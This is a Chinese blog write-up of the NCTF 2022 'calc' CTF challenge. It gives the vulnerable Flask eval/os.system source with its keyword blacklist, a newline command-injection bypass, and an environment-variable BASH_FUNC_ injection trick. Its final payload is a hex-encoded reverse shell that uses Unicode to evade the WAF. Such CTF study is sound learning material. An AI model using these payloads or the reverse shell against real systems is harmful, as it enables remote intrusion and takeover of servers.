[NCTF2022]calc学习


前言

之前有NCTF2022有碰到过一题类似于计算器的题目,当时以为是SSTI,结果发现是os.system()命令执行,但是又没想到怎么绕过,今天在NSS平台又看到了这题,复现一下,学到了不少东西。


[NCTF 2022]calc

  1. 进入题目是一个计算器
    file

在前端的javascript源代码中不难发现请求的url,令url报错可看到源代码

  1. 原比赛题目程序源代码如下:
@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip,num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag

很明显第一种想到的思路就是通过传入num,从而控制log参数,进行os.system()的命令执行,还要满足的一个条件就是eval()不难报错。

这里的绕过方式有通过换行的形式,用单引号或双引号包裹传入的代码,使其成为字符串,满足eval()的正常执行,又能够命令执行。

测试如下:

file

import time
import os
import urllib.parse

ip = '127.0.0.1'
num = urllib.parse.unquote('%0A%22whoami%22%0A')
print('num:\n'+num)
log = "echo {0} {1} {2}> log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
data = eval(num)
os.system(log)

file

可以看到确实执行了id命令,那么就可以通过这种方式进行反弹shell或者curl外带从而得到flag。

以上解法是非预期解,在NSS复现的时候源码是被修改了,直接去除了num,导致log参数不可控

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"
def waf(s):
    blacklist = ['import', '(', ')', '#', '@', '^', '$', ',', '>', '?', '`', ' ', '_', '|', ';', '"', '{', '}', '&',
                 'getattr', 'os', 'system', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess',
                 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self',
                 'item', 'getitem', 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag

这里就是需要使用预期解来进行,预期解与P神的一篇环境变量注入导致命令执行的文章有关。

文章链接:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

根据P神的解释,主要与一段bash的一段源代码有关:

for (string_index = 0; env && (string = env[string_index++]); ) {
    name = string;
    // ...

    if (privmode == 0 && read_but_dont_execute == 0 && 
        STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
        STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
        STREQN ("() {", string, 4))
    {
        size_t namelen;
        char *tname;        /* desired imported function name */

        namelen = char_index - BASHFUNC_PREFLEN - BASHFUNC_SUFFLEN;

        tname = name + BASHFUNC_PREFLEN;    /* start of func name */
        tname[namelen] = '\0';      /* now tname == func name */

        string_length = strlen (string);
        temp_string = (char *)xmalloc (namelen + string_length + 2);

        memcpy (temp_string, tname, namelen);
        temp_string[namelen] = ' ';
        memcpy (temp_string + namelen + 1, string, string_length + 1);

        /* Don't import function names that are invalid identifiers from the
         environment in posix mode, though we still allow them to be defined as
         shell variables. */
        if (absolute_program (tname) == 0 && (posixly_correct == 0 || legal_identifier (tname)))
            parse_and_execute (temp_string, tname, SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
        else
            free (temp_string);     /* parse_and_execute does this */
        //...
    }
}
privmode == 0,即不能传入-p参数
read_but_dont_execute == 0,即不能传入-n参数
STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于BASH_FUNC_
STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
STREQN ("() {", string, 4),环境变量的值前4个字符等于() {

主要的payload如下:env $‘BASH_FUNC_myfunc%%=() { id; }’ bash -c ‘myfunc’,即传入了一个环境变量,
使得bash添加了一个myfunc函数并执行,执行了id的命令。

在python中,可以利用eval函数进行环境变量的覆盖,再联合以上的payload进行命令执行。

测试如下:

import os
a={"test":'aaaa'}
for os.environ['test'] in['TESTTESTTEST']:
    pass
print(os.environ['test'])

file

当使用上list生成器和中括号后,就可以进行变量覆盖的同时,又返回一个str,没有进行执行。

import os
a={"test":'aaaa'}
print([[str][0]for[os.environ['test']]in[['TESTTESTTEST']]])
print(os.environ['test'])

那么就可以通过这种方式注入环境变量,使得被bash执行,payload如下:
[[str][0]for[os.environ[‘BASH_FUNC_echo%%’]]in[[‘() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}’]]]

剩下最后的就是绕过waf,这里的waf需要绕过os,空格等,同样再绕过SSTI的时候我们知道,在python中用单引号和双引号
包裹的字符是能够识别十六进制字符串的,因此可以变成十六进制字符串绕过,绕过os,则可以变成utf8非ascii字符格式,
从而达到统一格式变成os。

file

最终payload:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x30\x2e\x37\x39\x2e\x32\x39\x2e\x31\x37\x30\x2f\x36\x36\x36\x36\x20\x30\x3e\x26\x31\x3b\x7d']]]

file

总结

比赛时非预期解主要通过换行绕过eval的报错,预期解涉及到了不少的tricks,包括python的变量覆盖和系统底层通过注入环境变量来getshell,学到很多。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

M03-Aiwin

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值